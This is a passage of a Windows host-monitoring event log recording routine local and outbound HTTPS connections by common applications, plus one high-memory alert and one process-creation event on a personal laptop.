  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56312 -> 127.0.0.1:52664", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:56312", "remote_address": "127.0.0.1:52664", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62352 -> 127.0.0.1:62351
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62352 -> 127.0.0.1:62351", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:62352", "remote_address": "127.0.0.1:62351", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49718 -> 127.0.0.1:49717
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49718 -> 127.0.0.1:49717", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:49718", "remote_address": "127.0.0.1:49717", "status": "ESTABLISHED", "pid": 4956, "process_name": "ipfsvc.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:51817 -> 35.186.224.33:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:51817 -> 35.186.224.33:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:51817", "remote_address": "35.186.224.33:443", "status": "ESTABLISHED", "pid": 29992, "process_name": "Spotify.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58879 -> 127.0.0.1:60387
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58879 -> 127.0.0.1:60387", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:58879", "remote_address": "127.0.0.1:60387", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:10000 -> 127.0.0.1:57147
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:10000 -> 127.0.0.1:57147", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:10000", "remote_address": "127.0.0.1:57147", "status": "ESTABLISHED", "pid": 29180, "process_name": "gpx_infinity_windows_amd64.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:64532 -> 127.0.0.1:64531
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:64532 -> 127.0.0.1:64531", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:64532", "remote_address": "127.0.0.1:64531", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:63545 -> 127.0.0.1:63547
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:63545 -> 127.0.0.1:63547", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:63545", "remote_address": "127.0.0.1:63547", "status": "ESTABLISHED", "pid": 14264, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:57147 -> 127.0.0.1:10000
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:57147 -> 127.0.0.1:10000", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:57147", "remote_address": "127.0.0.1:10000", "status": "ESTABLISHED", "pid": 1772, "process_name": "grafana.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62348 -> 127.0.0.1:62349
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62348 -> 127.0.0.1:62349", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:62348", "remote_address": "127.0.0.1:62349", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56313 -> 127.0.0.1:52668
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56313 -> 127.0.0.1:52668", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:56313", "remote_address": "127.0.0.1:52668", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58690 -> 127.0.0.1:55885
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58690 -> 127.0.0.1:55885", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:58690", "remote_address": "127.0.0.1:55885", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65425 -> 127.0.0.1:52730
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65425 -> 127.0.0.1:52730", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:65425", "remote_address": "127.0.0.1:52730", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56314 -> 127.0.0.1:52666
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56314 -> 127.0.0.1:52666", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:56314", "remote_address": "127.0.0.1:52666", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:61827 -> ::1:3000
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:61827 -> ::1:3000", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "::1:61827", "remote_address": "::1:3000", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65013 -> 127.0.0.1:65018
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65013 -> 127.0.0.1:65018", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:65013", "remote_address": "127.0.0.1:65018", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:64364 -> ::1:3000
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:64364 -> ::1:3000", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "::1:64364", "remote_address": "::1:3000", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:63748 -> 52.123.135.6:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:63748 -> 52.123.135.6:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:63748", "remote_address": "52.123.135.6:443", "status": "ESTABLISHED", "pid": 16240, "process_name": "ms-teams.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:50263 -> 52.123.129.14:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:50263 -> 52.123.129.14:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:50263", "remote_address": "52.123.129.14:443", "status": "ESTABLISHED", "pid": 11064, "process_name": "msedgewebview2.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:61374 -> 20.50.73.13:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:61374 -> 20.50.73.13:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:61374", "remote_address": "20.50.73.13:443", "status": "ESTABLISHED", "pid": 11064, "process_name": "msedgewebview2.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65014 -> 127.0.0.1:54964
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65014 -> 127.0.0.1:54964", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:65014", "remote_address": "127.0.0.1:54964", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:63103 -> 52.123.128.14:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:63103 -> 52.123.128.14:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:63103", "remote_address": "52.123.128.14:443", "status": "ESTABLISHED", "pid": 16240, "process_name": "ms-teams.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:55889 -> 127.0.0.1:55890
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:55889 -> 127.0.0.1:55890", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:55889", "remote_address": "127.0.0.1:55890", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62930 -> 127.0.0.1:62928
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62930 -> 127.0.0.1:62928", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:62930", "remote_address": "127.0.0.1:62928", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:51772 -> 127.0.0.1:57309
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:51772 -> 127.0.0.1:57309", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:51772", "remote_address": "127.0.0.1:57309", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62931 -> 127.0.0.1:62925
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62931 -> 127.0.0.1:62925", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:62931", "remote_address": "127.0.0.1:62925", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54407 -> 23.13.53.187:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54407 -> 23.13.53.187:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:54407", "remote_address": "23.13.53.187:443", "status": "ESTABLISHED", "pid": 8544, "process_name": "EABackgroundService.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56304 -> 127.0.0.1:56305
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56304 -> 127.0.0.1:56305", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:56304", "remote_address": "127.0.0.1:56305", "status": "ESTABLISHED", "pid": 22304, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:51246 -> 142.250.184.131:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:51246 -> 142.250.184.131:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:51246", "remote_address": "142.250.184.131:443", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56240 -> 127.0.0.1:55885
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56240 -> 127.0.0.1:55885", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:56240", "remote_address": "127.0.0.1:55885", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58693 -> 127.0.0.1:58694
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58693 -> 127.0.0.1:58694", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:58693", "remote_address": "127.0.0.1:58694", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:57310 -> 127.0.0.1:57309
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:57310 -> 127.0.0.1:57309", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:57310", "remote_address": "127.0.0.1:57309", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_id: PERF_HIGH_RAM
event_type: High Memory Usage
message: High RAM usage: 89.1%
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": "PERF_HIGH_RAM", "event_type": "High Memory Usage", "message": "High RAM usage: 89.1%", "timestamp": "2026-01-24T14:27:25.997152", "ram_percent": 89.1}


event_type: Process Creation
message: Process created: RuntimeBroker.exe (PID: 28776, User: ILINA-LAPTOP\Ilina)
timestamp: 2026-01-24T14:27:52.229654
details:
  {"event_id": 1, "event_type": "Process Creation", "message": "Process created: RuntimeBroker.exe (PID: 28776, User: ILINA-LAPTOP\\Ilina)", "timestamp": "2026-01-24T14:27:52.229654", "process_name": "RuntimeBroker.exe", "pid": 28776, "user": "ILINA-LAPTOP\\Ilina"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:51769 -> 127.0.0.1:51768
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:51769 -> 127.0.0.1:51768", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:51769", "remote_address": "127.0.0.1:51768", "status": "ESTABLISHED", "pid": 11604, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54995 -> 35.186.224.26:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54995 -> 35.186.224.26:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:54995", "remote_address": "35.186.224.26:443", "status": "ESTABLISHED", "pid": 29992, "process_name": "Spotify.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:58882
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:58882", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:52727", "remote_address": "127.0.0.1:58882", "status": "ESTABLISHED", "pid": 3140, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49684 -> 127.0.0.1:49683
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49684 -> 127.0.0.1:49683", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:49684", "remote_address": "127.0.0.1:49683", "status": "ESTABLISHED", "pid": 6476, "process_name": "mysqld.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:50247 -> 127.0.0.1:50248
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:50247 -> 127.0.0.1:50248", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:50247", "remote_address": "127.0.0.1:50248", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:59924 -> 127.0.0.1:64528
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:59924 -> 127.0.0.1:64528", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:59924", "remote_address": "127.0.0.1:64528", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62924 -> 127.0.0.1:53893
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62924 -> 127.0.0.1:53893", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:62924", "remote_address": "127.0.0.1:53893", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:65424
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:65424", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:52727", "remote_address": "127.0.0.1:65424", "status": "ESTABLISHED", "pid": 3140, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49714 -> 127.0.0.1:49713
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49714 -> 127.0.0.1:49713", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:49714", "remote_address": "127.0.0.1:49713", "status": "ESTABLISHED", "pid": 1460, "process_name": "WUDFHost.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53893 -> 127.0.0.1:62924
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53893 -> 127.0.0.1:62924", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:53893", "remote_address": "127.0.0.1:62924", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:62871 -> ::1:5173
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:62871 -> ::1:5173", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "::1:62871", "remote_address": "::1:5173", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:50251 -> 127.0.0.1:50250
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:50251 -> 127.0.0.1:50250", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:50251", "remote_address": "127.0.0.1:50250", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54604 -> 52.0.252.2:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54604 -> 52.0.252.2:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:54604", "remote_address": "52.0.252.2:443", "status": "ESTABLISHED", "pid": 6396, "process_name": "Viber.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62925 -> 127.0.0.1:49255
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62925 -> 127.0.0.1:49255", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:62925", "remote_address": "127.0.0.1:49255", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56241 -> 127.0.0.1:55889
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56241 -> 127.0.0.1:55889", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:56241", "remote_address": "127.0.0.1:55889", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53826 -> 127.0.0.1:53825
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53826 -> 127.0.0.1:53825", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:53826", "remote_address": "127.0.0.1:53825", "status": "ESTABLISHED", "pid": 8516, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56312 -> 127.0.0.1:52664
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56312 -> 127.0.0.1:52664", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:56312", "remote_address": "127.0.0.1:52664", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62352 -> 127.0.0.1:62351
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62352 -> 127.0.0.1:62351", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:62352", "remote_address": "127.0.0.1:62351", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49718 -> 127.0.0.1:49717
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49718 -> 127.0.0.1:49717", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:49718", "remote_address": "127.0.0.1:49717", "status": "ESTABLISHED", "pid": 4956, "process_name": "ipfsvc.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:51817 -> 35.186.224.33:443
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:51817 -> 35.186.224.33:443", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "192.168.150.35:51817", "remote_address": "35.186.224.33:443", "status": "ESTABLISHED", "pid": 29992, "process_name": "Spotify.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58879 -> 127.0.0.1:60387
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58879 -> 127.0.0.1:60387", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:58879", "remote_address": "127.0.0.1:60387", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:10000 -> 127.0.0.1:57147
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:10000 -> 127.0.0.1:57147", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:10000", "remote_address": "127.0.0.1:57147", "status": "ESTABLISHED", "pid": 29180, "process_name": "gpx_infinity_windows_amd64.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:64532 -> 127.0.0.1:64531
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:64532 -> 127.0.0.1:64531", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:64532", "remote_address": "127.0.0.1:64531", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:63545 -> 127.0.0.1:63547
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:63545 -> 127.0.0.1:63547", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:63545", "remote_address": "127.0.0.1:63547", "status": "ESTABLISHED", "pid": 14264, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:57147 -> 127.0.0.1:10000
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:57147 -> 127.0.0.1:10000", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:57147", "remote_address": "127.0.0.1:10000", "status": "ESTABLISHED", "pid": 1772, "process_name": "grafana.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62348 -> 127.0.0.1:62349
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62348 -> 127.0.0.1:62349", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:62348", "remote_address": "127.0.0.1:62349", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56313 -> 127.0.0.1:52668
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56313 -> 127.0.0.1:52668", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:56313", "remote_address": "127.0.0.1:52668", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58690 -> 127.0.0.1:55885
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58690 -> 127.0.0.1:55885", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:58690", "remote_address": "127.0.0.1:55885", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65425 -> 127.0.0.1:52730
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65425 -> 127.0.0.1:52730", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:65425", "remote_address": "127.0.0.1:52730", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56314 -> 127.0.0.1:52666
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56314 -> 127.0.0.1:52666", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:56314", "remote_address": "127.0.0.1:52666", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:61827 -> ::1:3000
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:61827 -> ::1:3000", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "::1:61827", "remote_address": "::1:3000", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65013 -> 127.0.0.1:65018
timestamp: 2026-01-24T14:28:05.896617
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65013 -> 127.0.0.1:65018", "timestamp": "2026-01-24T14:28:05.896617", "local_address": "127.0.0.1:65013", "remote_address": "127.0.0.1:65018", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:64364 -> ::1:3000
timestamp: 2026-01-24T14:28:05.896617
details:
